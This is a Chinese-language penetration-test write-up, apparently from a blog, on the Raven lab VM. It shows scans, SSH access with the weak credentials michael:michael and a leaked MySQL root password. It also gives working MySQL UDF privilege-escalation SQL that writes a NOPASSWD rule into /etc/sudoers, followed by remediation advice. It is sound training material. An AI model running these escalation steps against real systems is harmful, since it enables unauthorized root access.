WordPress 渗透测试报告 – Raven 靶机

测试日期:2026年06月10日
测试人员:Kali Linux 攻击机 (192.168.101.133)
目标系统:192.168.101.132 – Raven Security (Debian Linux, WordPress 4.8.7)

1. 概述

Raven 是一个模拟真实环境的 Debian Linux 靶机,运行 WordPress 博客系统。本次测试模拟外部攻击者视角,对 WordPress 及相关服务进行渗透,最终获得 root 权限。

测试目标

  • 发现 WordPress 及服务器配置中的安全弱点。
  • 获取未经授权的访问权限并提升至 root。
  • 提供修复建议。

2. 信息收集

2.1 端口扫描

使用 nmap 扫描目标开放端口:

text

Nmap scan report for 192.168.101.132
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.7p1 Debian 5+deb8u4
80/tcp open  http    Apache httpd 2.4.10 ((Debian))
111/tcp open  rpcbind 2-4 (RPC #100000)

Web 服务为主要攻击面。

2.2 Web 目录枚举

使用 gobuster 发现 /wordpress 目录:

text

/wordpress            (Status: 301)
/vendor               (Status: 301)

/vendor 目录可列出,包含第三方依赖库。

2.3 WordPress 版本识别

使用 whatweb 确定 WordPress 版本:

text

http://192.168.101.132/wordpress/ [200 OK] ...
MetaGenerator[WordPress 4.8.7]

结论:WordPress 4.8.7(2017 年发布,已过时)。

2.4 用户枚举

使用 wpscan 枚举 WordPress 用户:

text

[+] steven
[+] michael

确认存在两个有效用户。

3. 漏洞发现与利用

3.1 SSH 弱口令

使用常见弱口令 michael:michael 成功登录 SSH:

bash

ssh michael@192.168.101.132

→ 获得低权限 shell(uid=1000)。

漏洞原因:用户使用极易猜测的密码。

3.2 敏感信息泄露 – 数据库凭证

在 WordPress 根目录发现配置文件 wp-config.php,内含数据库明文密码:

php

define('DB_NAME', 'wordpress');
define('DB_USER', 'root');
define('DB_PASSWORD', 'R@v3nSecurity');

→ 获得 MySQL root 密码。

漏洞原因:配置文件可读,且数据库使用 root 账户。

3.3 MySQL UDF 提权

  • 登录 MySQL:bashmysql -u root -p’R@v3nSecurity’
  • 确认 MySQL 版本 5.5.60(存在 UDF 提权漏洞)。
  • 在 Kali 上编译 1518.c 生成共享库 raptor_udf.so
  • 通过 HTTP 上传至靶机 /tmp
  • 在 MySQL 中加载 UDF:sqlcreate table temp(line blob); insert into temp values(load_file(‘/tmp/raptor_udf.so’)); select * from temp into dumpfile ‘/usr/lib/mysql/plugin/raptor_udf.so’; create function do_system returns integer soname ‘raptor_udf.so’;
  • 执行系统命令,将 michael 添加至 sudoers:sqlselect do_system(‘echo “michael ALL=(ALL) NOPASSWD: ALL” >> /etc/sudoers’);
  • 验证:bashsudo -l # 显示 (ALL) NOPASSWD: ALL sudo su – # 切换至 root

漏洞原因

  • MySQL 以 root 权限运行,且插件目录可写。
  • MySQL 版本低于 5.1 或未限制 load_file() 及 into dumpfile 的使用。
  • 允许向插件目录写入共享库。

4. 获取 Flag

  • flag2.txt/var/www/flag2.txt → flag2{fc3fd58dcdad9ab23faca6e9a36e581c}
  • flag4.txt/root/flag4.txt → flag4{715dea6c055b9fe3337544932f2941ce}

5. 修复建议

5.1 针对 WordPress

  • 升级 WordPress:更新至最新稳定版(当前 6.x),修复已知漏洞。
  • 移除版本指纹:删除或限制访问 readme.htmlwp-includes/version.phpwp-admin/load-styles.php 等版本泄露文件。
  • 禁用目录列表:在 Apache 配置中设置 Options -Indexes,防止 /vendor 等目录暴露。
  • 强化用户密码策略:要求复杂密码,禁止弱口令。
  • 启用双因素认证:为管理员登录增加二次验证。

5.2 针对 SSH

  • 禁用密码登录,改用 SSH 密钥认证。
  • 使用 fail2ban 防止暴力破解。
  • 定期审查用户账户,删除不必要账户(如 steven 和 michael 若不再使用)。

5.3 针对数据库

  • 更改 MySQL root 密码:使用强密码,并限制只能本地登录。
  • 创建专用数据库用户:为 WordPress 分配非 root 用户,最小权限原则。
  • 升级 MySQL:更新至 5.7+ 或 8.0,该版本默认禁止 load_file() 写入插件目录(需配置 secure_file_priv)。
  • 设置 secure_file_priv:限制数据导入/导出目录,防止 UDF 滥用。
  • 删除不必要的 UDF 函数:定期检查 mysql.func 表。

5.4 针对服务器加固

  • 限制 sudo 权限:避免 NOPASSWD: ALL,按需授权。
  • 禁用危险函数:在 php.ini 中禁用 system()exec()shell_exec() 等。
  • 使用 SELinux/AppArmor:限制 MySQL 和 Web 进程的行为。
  • 定期安全审计:检查文件权限、SUID 文件、计划任务等。

6. 总结

本次测试通过 WordPress 暴露的版本及用户信息,结合 SSH 弱口令进入系统,再利用 MySQL 配置不当实现本地提权,最终获得完全控制权。所有漏洞均可通过上述修复建议进行有效防御。

风险等级:严重(Critical)

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇